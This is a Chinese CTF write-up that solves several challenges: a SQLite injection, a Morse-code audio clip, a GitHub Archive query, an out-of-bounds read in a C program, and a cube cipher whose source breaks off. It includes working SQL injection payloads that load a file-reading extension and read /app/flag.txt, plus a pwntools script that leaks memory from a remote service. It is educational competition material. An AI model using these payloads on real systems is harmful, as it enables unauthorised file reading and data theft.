<label>Distro:
<input name="distro" value="{{ request.args.get('distro', '') }}">
</label>
<label>Package:
<input name="package" value="{{ request.args.get('package', '') }}">
</label>
<button type="submit">Search</button>
</form>

{% if results %}
<h2>Showing {{ results|length }} result{{ 's' if results|length != 1 else '' }}</h2>
<table>
<tr>
<th>Distro</th>
<th>Distro Version</th>
<th>Package</th>
<th>Package Version</th>
</tr>
{% for row in results %}
<tr>
<td>{{ row['distro'] }}</td>
<td>{{ row['distro_version'] }}</td>
<td>{{ row['package'] }}</td>
<td>{{ row['package_version'] }}</td>
</tr>
{% endfor %}
</table>
{% else %}
<p>No results found.</p>
{% endif %}
</body>
</html>
"""


@app.route("/", methods=["GET"])
def index():
distro = request.args.get("distro", "").strip().lower()
package = request.args.get("package", "").strip().lower()

sql = "SELECT distro, distro_version, package, package_version FROM packages"
if distro or package:
sql += " WHERE "
if distro:
sql += f"LOWER(distro) = {json.dumps(distro)}"
if distro and package:
sql += " AND "
if package:
sql += f"LOWER(package) = {json.dumps(package)}"
sql += " ORDER BY distro, distro_version, package"

print(sql)
results = db.execute(sql).fetchall()

return render_template_string(TEMPLATE, request=request, results=results)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

不难发现这道题是需要SQL injection。但是由于SQL本身的功能是不支持读取flag.txt文件的,所以需要先加载额外的extension,才能进行读取操作。

简单测试一下:

1
a" UNION SELECT 'a','a','a','a' --

image-20251108224523604

按顺序依次尝试(在Distro栏输入以下)以下命令便可以拿到flag:

1. 利用load_extension来加载扩展:

1
a" UNION SELECT 'a','a',CAST(load_extension('/sqlite/ext/misc/fileio.so') AS TEXT),'a' --

image-20251108224544966

2. 利用扩展函数读 flag:

1
a" UNION SELECT 'a','a',readfile('/app/flag.txt'),'a' --

image-20251108224605388

1
bctf{y0uv3_g0t_4n_apt17ud3_f0r_7h15}

Forensics

Bugle

image-20251108224639515

这道题我们会拿到一个mp3音频。仔细听(这个是重点,因为它吹的长短音不是很明显,所以主要靠耳朵听),并且用音频解析软件打开它来做更进一步的判断(主要是判断断点),就会得到摩斯密码:

image-20251109231012319

1
2
_ _ | _ _ _ | ._. | ... | . | ._ | ._.. | ._.. | ._ | ._.. | _ _ _ | _. | _ _ .
m o r s e a l l a l o n g

所以flag就是:

1
bctf{morseallalong}

Big Data Analysis

image-20251109121510295

这道题可以直接用 GitHub Archive 的 BigQuery 公共数据集 来查。这是专门存 GitHub 事件流(包括 CreateEvent)的数据库。

根据GitHub Archive官方页学习怎么在 BigQuery 里打开数据集。:https://www.gharchive.org/

然后使用这个SQL语句查询:

1
2
3
SELECT COUNT(DISTINCT repo.name) AS uniq_repos
FROM `githubarchive.year.2023`
WHERE type = 'CreateEvent';

image-20251109121731145

1
bctf{63421480}

Pwn

Character assassination

image-20251109221347131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>

char flag[64] = "bctf{fake_flag}";
char upper[] = {
'?', '?', '?', '?', '?', '?', '?', '?', '?', '\t', '\n', '\x0b', '\x0c',
'\r', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
'?', '?', '?', '?', '?', '?', ' ', '!', '"', '#', '$', '%', '&',
'\'', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'[', '\\', ']', '^', '_', '`', 'A', 'B', 'C', 'D', 'E', 'F', 'G',
'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
'U', 'V', 'W', 'X', 'Y', 'Z', '{', '|', '}', '~',
};
char lower[] = {
'?', '?', '?', '?', '?', '?', '?', '?', '?', '\t', '\n', '\x0b', '\x0c',
'\r', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
'?', '?', '?', '?', '?', '?', ' ', '!', '"', '#', '$', '%', '&',
'\'', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~',
};

int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

FILE *f = fopen("flag.txt", "r");
if (f) {
fgets(flag, sizeof(flag), f);
fclose(f);
}

char input[256];

while (1) {
printf("> ");
if (!fgets(input, sizeof(input), stdin)) {
break;
}
for (int i = 0; i < sizeof(input) && input[i]; i++) {
char c = input[i];
if (i % 2) {
printf("%c", upper[c]);
} else {
printf("%c", lower[c]);
}
}
printf("\n");
}
}

不难发现这里没有对我们输入的数字进行管控,所以我们可以直接越界一点一点读取flag的内容。在IDA里可以发现flagupper在data里的位置非常靠近:

image-20251109221757142

image-20251109221813137

所以输入计算好的偏移数即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.log_level = 'debug'
p = remote("character-assassination.challs.pwnoh.io", 1337, ssl=True)
def leak(n):
"""泄露 flag[n],n 从 0 开始"""
idx = (0xC0 + n) & 0xff # -0x40 + n
payload = b"A" + bytes([idx]) + b"\n"
p.recvuntil(b"> ")
p.send(payload)
line = p.recvline().rstrip(b"\n")
return line[1:2] # 第二个字符是泄露字节

flag = b""
for i in range(64): # flag[64] 恰好够用
b = leak(i)
flag += b
if b == b"}":
break

print("FLAG =", flag.decode(errors="replace"))

# FLAG = bctf{wOw_YoU_sOlVeD_iT_665ff83d}

Crypto

cube cipher

image-20251109230555012

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>

typedef uint8_t face_t;

typedef uint8_t edge_t;
typedef uint8_t center_t;
typedef uint16_t corner_t;

#define FACE_SIZE 4
#define FACE_MASK ((1 << FACE_SIZE) - 1)
#define TWO_FACE_MASK ((1 << 2 * FACE_SIZE) - 1)

#define ALGORITHM_LENGTH 40

const size_t CENTER_CT = 6;
const size_t FACE_CT = CENTER_CT * 3 * 3;
const size_t CORNER_CT = 8;
const size_t EDGE_CT = 12;

/**
* Create a corner.
*/
corner_t corner(const face_t top, const face_t left, const face_t right) {
return (top << FACE_SIZE | left) << FACE_SIZE | right;
}

/**
* Retrieve the top face of a corner.
*/
face_t corner_top(const corner_t corner) {
return corner >> 2 * FACE_SIZE;
}

/**
* Retrieve the left face of a corner.
*/
face_t corner_left(const corner_t corner) {
return (corner >> FACE_SIZE) & FACE_MASK;
}

/**
* Retrieve the right face of a corner.
*/
face_t corner_right(const corner_t corner) {
return corner & FACE_MASK;
}

/**
* Create an edge.
*/
edge_t edge(const face_t left, const face_t right) {
return left << FACE_SIZE | right;
}

/**
* Retrieve the left face of an edge.
*/
face_t edge_left(const edge_t edge) {
return (edge >> FACE_SIZE) & FACE_MASK;
}

/**
* Retrieve the right face of an edge.
*/
face_t edge_right(const edge_t edge) {
return edge & FACE_MASK;
}

/**
* Flip an edge.
*/
edge_t flip_edge(const edge_t edge) {
return edge << FACE_SIZE | edge >> FACE_SIZE;
}

/**
* Rotate a corner clockwise.
*/
corner_t rotate_corner(const corner_t corner) {
return ((corner & FACE_MASK) << 2 * FACE_SIZE)
| (corner >> FACE_SIZE);
}

/**
* Rotate a corner counterclockwise.
*/
corner_t rotate_corner_(const corner_t corner) {
return ((corner & TWO_FACE_MASK) << FACE_SIZE)
| (corner >> 2 * FACE_SIZE);
}

/**
* Naming:
* Each field is comprised of each face the piece touches. The first letter is
* chosen from the following order of precedence:
*
* f - front
* b - back
* u - up
* d - down
* l - left
* r - right
*
* Then, for corners, the other two are chosen as the left and right ones if
* the first face were on top.
*/
struct Cube {
corner_t ful;
corner_t fru;
corner_t fld;
corner_t fdr;

corner_t blu;
corner_t bur;
corner_t bdl;
corner_t brd;

edge_t fu;
edge_t fr;
edge_t fd;
edge_t fl;

edge_t bu;
edge_t br;
edge_t bd;
edge_t bl;

edge_t ur;
edge_t ul;
edge_t dr;
edge_t dl;

center_t f;
center_t b;
center_t u;
center_t d;
center_t l;
center_t r;
};

/**
* Rotate front face clockwise.
*/
void move_F(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->ful;
cube->ful = cube->fld;
cube->fld = cube->fdr;
cube->fdr = cube->fru;
cube->fru = temp_corner;

temp_edge = cube->fu;
cube->fu = cube->fl;
cube->fl = cube->fd;
cube->fd = cube->fr;
cube->fr = temp_edge;
}

/**
* Rotate front face counterclockwise.
*/
void move_F_(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->ful;
cube->ful = cube->fru;
cube->fru = cube->fdr;
cube->fdr = cube->fld;
cube->fld = temp_corner;

temp_edge = cube->fu;
cube->fu = cube->fr;
cube->fr = cube->fd;
cube->fd = cube->fl;
cube->fl = temp_edge;
}

/**
* Rotate back face clockwise.
*/
void move_B(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->blu;
cube->blu = cube->bur;
cube->bur = cube->brd;
cube->brd = cube->bdl;
cube->bdl = temp_corner;

temp_edge = cube->bu;
cube->bu = cube->br;
cube->br = cube->bd;
cube->bd = cube->bl;
cube->bl = temp_edge;
}

/**
* Rotate back face counterclockwise.
*/
void move_B_(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->blu;
cube->blu = cube->bdl;
cube->bdl = cube->brd;
cube->brd = cube->bur;
cube->bur = temp_corner;

temp_edge = cube->bu;
cube->bu = cube->bl;
cube->bl = cube->bd;
cube->bd = cube->br;
cube->br = temp_edge;
}

/**
* Rotate right face clockwise.
*/
void move_R(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->fru;
cube->fru = rotate_corner_(cube->fdr);
cube->fdr = rotate_corner(cube->brd);
cube->brd = rotate_corner_(cube->bur);
cube->bur = rotate_corner(temp_corner);

temp_edge = cube->fr;
cube->fr = cube->dr;
cube->dr = cube->br;
cube->br = cube->ur;
cube->ur = temp_edge;
}

/**
* Rotate right face counterclockwise.
*/
void move_R_(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->fru;
cube->fru = rotate_corner_(cube->bur);
cube->bur = rotate_corner(cube->brd);
cube->brd = rotate_corner_(cube->fdr);
cube->fdr = rotate_corner(temp_corner);

temp_edge = cube->fr;
cube->fr = cube->ur;
cube->ur = cube->br;
cube->br = cube->dr;
cube->dr = temp_edge;
}

/**
* Rotate left face clockwise.
*/
void move_L(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->ful;
cube->ful = rotate_corner(cube->blu);
cube->blu = rotate_corner_(cube->bdl);
cube->bdl = rotate_corner(cube->fld);
cube->fld = rotate_corner_(temp_corner);

temp_edge = cube->fl;
cube->fl = cube->ul;
cube->ul = cube->bl;
cube->bl = cube->dl;
cube->dl = temp_edge;
}

/**
* Rotate left face counterclockwise.
*/
void move_L_(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->ful;
cube->ful = rotate_corner(cube->fld);
cube->fld = rotate_corner_(cube->bdl);
cube->bdl = rotate_corner(cube->blu);
cube->blu = rotate_corner_(temp_corner);

temp_edge = cube->fl;
cube->fl = cube->dl;
cube->dl = cube->bl;
cube->bl = cube->ul;
cube->ul = temp_edge;
}

/**
* Rotate up face clockwise.
*/
void move_U(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->ful;
cube->ful = rotate_corner_(cube->fru);
cube->fru = rotate_corner(cube->bur);
cube->bur = rotate_corner_(cube->blu);
cube->blu = rotate_corner(temp_corner);

temp_edge = cube->fu;
cube->fu = flip_edge(cube->ur);
cube->ur = flip_edge(cube->bu);
cube->bu = flip_edge(cube->ul);
cube->ul = flip_edge(temp_edge);
}

/**
* Rotate up face counterclockwise.
*/
void move_U_(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->ful;
cube->ful = rotate_corner_(cube->blu);
cube->blu = rotate_corner(cube->bur);
cube->bur = rotate_corner_(cube->fru);
cube->fru = rotate_corner(temp_corner);

temp_edge = cube->fu;
cube->fu = flip_edge(cube->ul);
cube->ul = flip_edge(cube->bu);
cube->bu = flip_edge(cube->ur);
cube->ur = flip_edge(temp_edge);
}

/**
* Rotate down face clockwise.
*/
void move_D(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->fld;
cube->fld = rotate_corner(cube->bdl);
cube->bdl = rotate_corner_(cube->brd);
cube->brd = rotate_corner(cube->fdr);
cube->fdr = rotate_corner_(temp_corner);

temp_edge = cube->fd;
cube->fd = flip_edge(cube->dl);
cube->dl = flip_edge(cube->bd);
cube->bd = flip_edge(cube->dr);
cube->dr = flip_edge(temp_edge);
}

/**
* Rotate down face counterclockwise.
*/
void move_D_(struct Cube *cube) {
corner_t temp_corner;
edge_t temp_edge;

temp_corner = cube->fld;
cube->fld = rotate_corner(cube->fdr);
cube->fdr = rotate_corner_(cube->brd);
cube->brd = rotate_corner(cube->bdl);
cube->bdl = rotate_corner_(temp_corner);

temp_edge = cube->fd;
cube->fd = flip_edge(cube->dr);
cube->dr = flip_edge(cube->bd);
cube->bd = flip_edge(cube->dl);
cube->dl = flip_edge(temp_edge);
}

/**
* Rotate middle layer following L.
*/
void move_M(struct Cube *cube) {
center_t temp_center;
edge_t temp_edge;

temp_center = cube->f;
cube->f = cube->u;
cube->u = cube->b;
cube->b = cube->d;
cube->d = temp_center;

temp_edge = cube->fu;
cube->fu = flip_edge(cube->bu);
cube->bu = flip_edge(cube->bd);
cube->bd = flip_edge(cube->fd);
cube->fd = flip_edge(temp_edge);
}

/**
* Rotate middle layer following R.
*/
void move_M_(struct Cube *cube) {
center_t temp_center;
edge_t temp_edge;

temp_center = cube->f;
cube->f = cube->d;
cube->d = cube->b;
cube->b = cube->u;
cube->u = temp_center;

temp_edge = cube->fu;
cube->fu = flip_edge(cube->fd);
cube->fd = flip_edge(cube->bd);
cube->bd = flip_edge(cube->bu);
cube->bu = flip_edge(temp_edge);
}

/**
* Rotate middle layer following D.
*/
void move_E(struct Cube *cube) {
center_t temp_center;
edge_t temp_edge;

temp_center = cube->f;
cube->f = cube->l;
cube->l = cube->b;
cube->b = cube->r;
cube->r = temp_center;

temp_edge = cube->fr;
cube->fr = flip_edge(cube->fl);
cube->fl = flip_edge(cube->bl);
cube->bl = flip_edge(cube->br);
cube->br = flip_edge(temp_edge);
}

/**
* Rotate middle layer following U.
*/
void move_E_(struct Cube *cube) {
center_t temp_center;
edge_t temp_edge;

temp_center = cube->f;
cube->f = cube->r;
cube->r = cube->b;
cube->b = cube->l;
cube->l = temp_center;

temp_edge = cube->fr;
cube->fr = flip_edge(cube->br);
cube->br = flip_edge(cube->bl);
cube->bl = flip_edge(cube->fl);
cube->fl = flip_edge(temp_edge);
}

/**
* Rotate middle layer following F.
*/
void move_S(struct Cube *cube) {
center_t temp_center;
edge_t temp_edge;

temp_center = cube->u;
cube->u = cube->l;
cube->l = cube->d;
cube->d = cube->r;
cube->r = temp_center;

temp_edge = cube->ur;
cube->ur = flip_edge(cube->ul);
cube->ul = flip_edge(cube->dl);
cube->dl = flip_edge(cube->dr);
cube->dr = flip_edge(temp_edge);
}

/**
* Rotate middle layer following B.
*/
void move_S_(struct Cube *cube) {
center_t temp_center;
edge_t temp_edge;

temp_center = cube->u;
cube->u = cube->r;
cube->r = cube->d;
cube->d = cube->l;
cube->l = temp_center;

temp_edge = cube->ur;
cube->ur = flip_edge(cube->dr);
cube->dr = flip_edge(cube->dl);
cube->dl = flip_edge(cube->ul);
cube->ul = flip_edge(temp_edge);
}

/**
* Rotate cube following R.
*/
void move_x(struct Cube *cube) {
move_L_(cube);
move_M_(cube);
move_R(cube);
}

/**
* Rotate cube following L.
*/
void move_x_(struct Cube *cube) {
move_L(cube);
move_M(cube);
move_R_(cube);
}

/**
* Rotate cube following U.
*/
void move_y(struct Cube *cube) {
move_U(cube);
move_E_(cube);
move_D_(cube);
}

/**
* Rotate cube following D.
*/
void move_y_(struct Cube *cube) {
move_U_(cube);
move_E(cube);
move_D(cube);
}

/**
* Rotate cube following F.
*/
void move_z(struct Cube *cube) {
move_F(cube);
move_S(cube);
move_B_(cube);
}

/**
* Rotate cube following B.
*/
void move_z_(struct Cube *cube) {
move_F_(cube);
move_S_(cube);
move_B(cube);
}

/**
* Print out the cube in the following format:
*
* u u u
* u u u
* u u u
*
* l l l f f f r r r
* l l l f f f r r r
* l l l f f f r r r
*
* d d d
* d d d
* d d d
*
* b b b
* b b b
* b b b
*/
void print_cube(struct Cube cube) {
/* u u u */
printf(" %2i %2i %2i\n",
corner_right(cube.blu), edge_right(cube.bu), corner_left(cube.bur));

/* u u u */
printf(" %2i %2i %2i\n",
edge_left(cube.ul), (face_t)cube.u, edge_left(cube.ur));

/* u u u */
printf(" %2i %2i %2i\n",
corner_left(cube.ful), edge_right(cube.fu), corner_right(cube.fru));

printf("\n");

/* l l l u u u f f f*/
printf("%2i %2i %2i %2i %2i %2i %2i %2i %2i\n",
corner_left(cube.blu), edge_right(cube.ul), corner_right(cube.ful),
corner_top(cube.ful), edge_left(cube.fu), corner_top(cube.fru),
corner_left(cube.fru), edge_right(cube.ur), corner_right(cube.bur));

/* l l l u u u f f f*/
printf("%2i %2i %2i %2i %2i %2i %2i %2i %2i\n",
edge_right(cube.bl), (face_t)cube.l, edge_right(cube.fl),
edge_left(cube.fl), (face_t)cube.f, edge_left(cube.fr),
edge_right(cube.fr), (face_t)cube.r, edge_right(cube.br));

/* l l l u u u f f f*/
printf("%2i %2i %2i %2i %2i %2i %2i %2i %2i\n",
corner_right(cube.bdl), edge_right(cube.dl), corner_left(cube.fld),
corner_top(cube.fld), edge_left(cube.fd), corner_top(cube.fdr),
corner_right(cube.fdr), edge_right(cube.dr), corner_left(cube.brd));

printf("\n");

/* d d d */
printf(" %2i %2i %2i\n",
corner_right(cube.fld), edge_right(cube.fd), corner_left(cube.fdr));

/* d d d */
printf(" %2i %2i %2i\n",
edge_left(cube.dl), (face_t)cube.d, edge_left(cube.dr));

/* d d d */
printf(" %2i %2i %2i\n",
corner_left(cube.bdl), edge_right(cube.bd), corner_right(cube.brd));

printf("\n");

/* b b b */
printf(" %2i %2i %2i\n",
corner_top(cube.bdl), edge_left(cube.bd), corner_top(cube.brd));

/* b b b */
printf(" %2i %2i %2i\n",
edge_left(cube.bl), (face_t)cube.b, edge_left(cube.br));

/* b b b */
printf(" %2i %2i %2i\n",
corner_top(cube.blu), edge_left(cube.bu), corner_top(cube.bur));
}

#define NIBBLE_SIZE 4
#define NIBBLE_MASK ((1 << NIBBLE_SIZE) - 1)
#define NIBBLE(input, i) ((input[i / 2] >> NIBBLE_SIZE * (1 - i % 2)) \
& NIBBLE_MASK)
/**
* Build a cube from a string of length
* `FACE_CT / 2` from its nibbles in this order:
*
* 18 19 20
* 21 22 23
* 24 25 26
*
* 27 28 29 00 01 02 09 10 11
* 30 31 32 03 04 05 12 13 14
* 33 34 35 06 07 08 15 16 17
*
* 36 37 38
* 39 40 41
* 42 43 44
*
* 45 46 47
* 48 49 50
* 51 52 53
*/
void build_cube_from_string(struct Cube *cube, const char *input) {
cube->ful = corner(
NIBBLE(input, 0),
NIBBLE(input, 24),
NIBBLE(input, 29)
);
cube->fru = corner(
NIBBLE(input, 2),
NIBBLE(input, 9),
NIBBLE(input, 26)
);
cube->fld = corner(
NIBBLE(input, 6),
NIBBLE(input, 35),
NIBBLE(input, 36)
);
cube->fdr = corner(
NIBBLE(input, 8),
NIBBLE(input, 38),
NIBBLE(input, 15)
);

cube->blu = corner(
NIBBLE(input, 51),
NIBBLE(input, 27),
NIBBLE(input, 18)
);
cube->bur = corner(
NIBBLE(input, 53),
NIBBLE(input, 20),
NIBBLE(input, 11)
);
cube->bdl = corner(
NIBBLE(input, 45),
NIBBLE(input, 42),
NIBBLE(input, 33)
);
cube->brd = corner(
NIBBLE(input, 47),
NIBBLE(input, 17),
NIBBLE(input, 44)
);

cube->fu = edge(
NIBBLE(input, 1),
NIBBLE(input, 25)
);
cube->fr = edge(
NIBBLE(input, 5),
NIBBLE(input, 12)
);
cube->fd = edge(
NIBBLE(input, 7),
NIBBLE(input, 37)
);
cube->fl = edge(
NIBBLE(input, 3),
NIBBLE(input, 32)
);

cube->bu = edge(
NIBBLE(input, 52),
NIBBLE(input, 19)
);
cube->br = edge(
NIBBLE(input, 50),
NIBBLE(input, 14)
);
cube->bd = edge(
NIBBLE(input, 46),
NIBBLE(input, 43)
);
cube->bl = edge(
NIBBLE(input, 48),
NIBBLE(input, 30)
);

cube->ur = edge(
NIBBLE(input, 23),
NIBBLE(input, 10)
);
cube->ul = edge(
NIBBLE(input, 21),
NIBBLE(input, 28)
);
cube->dr = edge(
NIBBLE(input, 41),
NIBBLE(input, 16)
);
cube->dl = edge(
NIBBLE(input, 39),
NIBBLE(input, 34)
);

cube->f = NIBBLE(input, 4);
cube->r = NIBBLE(input, 13);
cube->u = NIBBLE(input, 22);
cube->l = NIBBLE(input, 31);
cube->d = NIBBLE(input, 40);
cube->b = NIBBLE(input, 49);
}

void set_nibble(unsigned char *bytes, const size_t i, const uint8_t nibble) {
bytes[i / 2] &= (NIBBLE_MASK << (NIBBLE_SIZE * (i % 2)));
bytes[i / 2] |= nibble << (NIBBLE_SIZE * (1 - i % 2));

}

void extract_bytes_from_front(
const struct Cube cube,
unsigned char *output,
const size_t base
) {
set_nibble(output, base + 0, corner_top(cube.ful));
set_nibble(output, base + 1, edge_left(cube.fu));
set_nibble(output, base + 2, corner_top(cube.fru));

set_nibble(output, base + 3, edge_left(cube.fl));
set_nibble(output, base + 4, (face_t)cube.f);
set_nibble(output, base + 5, edge_left(cube.fr));

set_nibble(output, base + 6, corner_top(cube.fld));
set_nibble(output, base + 7, edge_left(cube.fd));
set_nibble(output, base + 8, corner_top(cube.fdr));
}

void extract_bytes_from_cube(struct Cube cube, unsigned char *output) {
/* front */
extract_bytes_from_front(cube, output, 9 * 0);
move_y(&cube);
/* right */
extract_bytes_from_front(cube, output, 9 * 1);
move_y_(&cube);
move_x_(&cube);
/* up */
extract_bytes_from_front(cube, output, 9 * 2);
move_x(&cube);
move_y_(&cube);
/* left */
extract_bytes_from_front(cube, output, 9 * 3);
move_y(&cube);
move_x(&cube);
/* down */
extract_bytes_from_front(cube, output, 9 * 4);
move_x(&cube);
/* back */
extract_bytes_from_front(cube, output, 9 * 5);
}

/**
* Execute an algorithm.
*/
void execute_algorithm(struct Cube *cube, const char *str) {
size_t i;

void (*F[])(struct Cube*) = {
move_F, move_F_,
};

void (*R[])(struct Cube*) = {
move_R, move_R_,
};

void (*L[])(struct Cube*) = {
move_L, move_L_,
};

void (*U[])(struct Cube*) = {
move_U, move_U_,
};

void (*D[])(struct Cube*) = {
move_D, move_D_,
};

void (*B[])(struct Cube*) = {
move_B, move_B_,
};

void (*M[])(struct Cube*) = {
move_M, move_M_,
};

void (*E[])(struct Cube*) = {
move_E, move_E_,
};

void (*S[])(struct Cube*) = {
move_S, move_S_,
};

void (*x[])(struct Cube*) = {
move_x, move_x_,
};

void (*y[])(struct Cube*) = {
move_y, move_y_,
};

void (*z[])(struct Cube*) = {
move_z, move_z_,
};

const size_t len = strlen(str);
for (i = 0; i < len; i++) {
const int inverse = str[i + 1] == '\'' ? 1 : 0;
switch (str[i]) {
case 'F':
F[inverse](cube);
break;
case 'R':
R[inverse](cube);
break;
case 'L':
L[inverse](cube);
break;
case 'U':
U[inverse](cube);
break;
case 'D':
D[inverse](cube);
break;
case 'B':
B[inverse](cube);
break;
case 'M':
M[inverse](cube);
break;
case 'E':
E[inverse](cube);
break;
case 'S':
S[inverse](cube);
break;
case 'x':
x[inverse](cube);
break;
case 'y':
y[inverse](cube);
break;
case 'z':
z[inverse](cube);
break;

default:
printf("[WARN] unrecognized move: %c\n", str[i]);
break;
}

/* skip the inverse character if present */
i += inverse;
}
}

char *get_flag() {
char *flag = calloc(FACE_CT / 2 + 1, sizeof(char));
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
perror("failed to open flag.txt for reading");
exit(1);
}
fread(flag, FACE_CT / 2, 1, file);
fclose(file);
return flag;
}

char *get_algorithm() {
char *algorithm = calloc(ALGORITHM_LENGTH + 1, sizeof(char));
FILE *file;
file = fopen("algorithm.txt", "r");
if (file == NULL) {
perror("failed to open algorithm.txt for reading");
exit(1);
}
fread(algorithm, sizeof(char), ALGORITHM_LENGTH, file);
fclose(file);
return algorithm;
}

/**
* Cube Cipher implementation
*/
int main() {
size_t i;
struct Cube *cube = calloc(1, sizeof(struct Cube));
char *flag = get_flag();
char *scramble_algorithm = get_algorithm();
unsigned char *output = calloc(FACE_CT, sizeof(unsigned char));
int option;
char algorithm_str[256];

setvbuf(stdout, 0, 2, 0);

build_cube_from_string(cube, flag);
free(flag);
